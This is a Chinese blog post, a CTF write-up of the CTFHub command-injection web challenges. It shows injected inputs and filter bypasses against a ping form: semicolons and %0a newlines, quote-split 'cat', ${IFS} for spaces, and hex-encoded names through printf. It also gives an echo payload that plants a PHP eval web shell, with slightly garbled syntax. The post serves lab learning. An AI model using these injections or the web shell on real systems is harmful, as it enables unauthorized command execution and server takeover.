HandsomeDong - 七里翔


  • Home

  • Categories

  • Archives

  • Search

Write up CTFHUB web之命令注入

Posted on 2025-08-31 | In CTF , Web , Writeup

前言

这次主要学习一些命令注入的绕过方式,后端一般会对用户输入做一些校验、过滤,以免被恶意注入一些命令,但是如果校验的方式比较简单的话,很容易就能绕过。

做题

命令注入

首先来一道没有任何过滤的。

1.png

直接用分号结束掉 ping 命令,然后查看当前目录下的文件。

1
;ls

flag 很有可能就藏在这个文件里面。

2.png

直接 cat 看一下这个文件的内容。

1
;cat 2612554426325.php

但是好像没显示出来。

3.png

我猜想是因为文件里有一些 HTML 标签,导致标签闭合有问题导致没回显,所以看了一下 HTML 源码,原来是被注释掉了,直接从 HTML 源码里复制出来就行。

4.png

不过还能有别的办法可以让其直接回显,那就是用 base64 编码一下,这样特殊符号就会被编码了,拿到后再解码即可。

1
cat xxx | base64

5.png

过滤 cat

这次从代码中可以看到,输入中含有 cat 的话会被过滤掉。

3.png

简单,那我不用 cat 了,我用 head 或者 tail 就好。

或者在 cat 中间插入2个单引号或者双引号。插入2个单引号或者双引号会被 shell 识别为空字符串。

4.png

5.png

除了不用 cat、用单引号双引号绕过以外,还有别的办法,就是尝试上传 shell,再连接服务器。
比如用下面这个 payload,利用 echo 注入一个木马文件,再用蚁剑工具连接服务器,也能达到目的。

1
;echo -e "<?php eval(/$_POST['ctf']);?>" > test.php" > test.php

过滤空格

这次过滤条件变成空格了。

1.png

用 ${IFS} 代替空格即可。

1
cat${IFS}flag_311491164811351${IFS}|base64

2.png

过滤目录分隔符

这次不能输入 / 了。

1.png

但是 ls 看了一下,flag 应该在 flag_is_here 文件夹下面。

3.png

cd 进去后再读取文件即可。

1
;cd flag_is_here;cat flag_30930190447288.php | base64

4.png

过滤运算符

这题的输入不能含有 | 和 &。

但我本来就不需要用到 | 和 & 啊……直接 cat xxx.php 不就完事了,我不一定要用到 base64 编码的,cat 得到内容后直接查看 HTML 源码即可。

1
;cat flag_28801250012455.php

3.png

综合过滤练习

这最后一题的过滤条件可就多了,不能含有 | 、 & 、 ; 、/ 、cat 、 flag 、 ctfhub,走一步看一部把。

1.png

首先是不能输入”;”了,那可以考虑用 %0a、%0d 来代替了。

1
%0als

用 ls 看一下当前目录下的文件,这个 flag_is_here 应该是个文件夹了。

2.png

接下来要 ls flag_is_here 看一下这个文件夹下的文件。

  1. 不能含有空格,所以用 ${IFS} 代替空格
  2. 不能含有flag,所以把 flag_is_here 转成十六进制,再使用 $(printf “十六进制”) 转回来
    所以 payload 是
1
%0als${IFS}$(printf${IFS}"\x66\x6c\x61\x67\x5f\x69\x73\x5f\x68\x65\x72\x65")

可以看到 flag 应该就在 flag_192772003230217.php 中。

3.png

接下来要用 cat flag_is_here/flag_flag_192772003230217.php 查看文件内容,所以

  1. 用 c’’a’’t 代替 cat
  2. 把 flag_is_here/flag_flag_192772003230217.php 转成十六进制

payload是

1
%0ac''a''t${IFS}$(printf${IFS}"\x66\x6c\x61\x67\x5f\x69\x73\x5f\x68\x65\x72\x65\x2f\x66\x6c\x61\x67\x5f\x31\x39\x32\x37\x37\x32\x30\x30\x33\x32\x33\x30\x32\x31\x37\x2e\x70\x68\x70")

4.png

查看 HTML 源码拿到 flag。

5.png

总结

命令注入常见的绕过方式有以下几种:

  1. 单引号、双引号绕过。’’ 或 “” 会被认为是空字符串,例如用 ca’’t 可以绕过 cat 的检测
  2. 空格绕过。${IFS} 是 Bash 内置空格分隔符,可以用它来代替空格
  3. 目录分隔符检测绕过。如果不能输入 / ,则考虑用 cd 进入相应的目录一步步操作
  4. 十六进制绕过。用编码代替一些关键字或关键字符,用十六进制来代替的方法比较常见,例如 cat 被过滤了,可以这样注入:$(printf “\x63\x61\x74”) /flag → cat /flag
  5. 使用 echo 注入木马。使用 echo 注入一句话木马,再连接服务器
123…33
HandsomeDong

HandsomeDong

33 posts
21 categories
26 tags
  • github
© 2025 HandsomeDong
Powered by Hexo
|
Theme — NexT.Pisces v5.1.4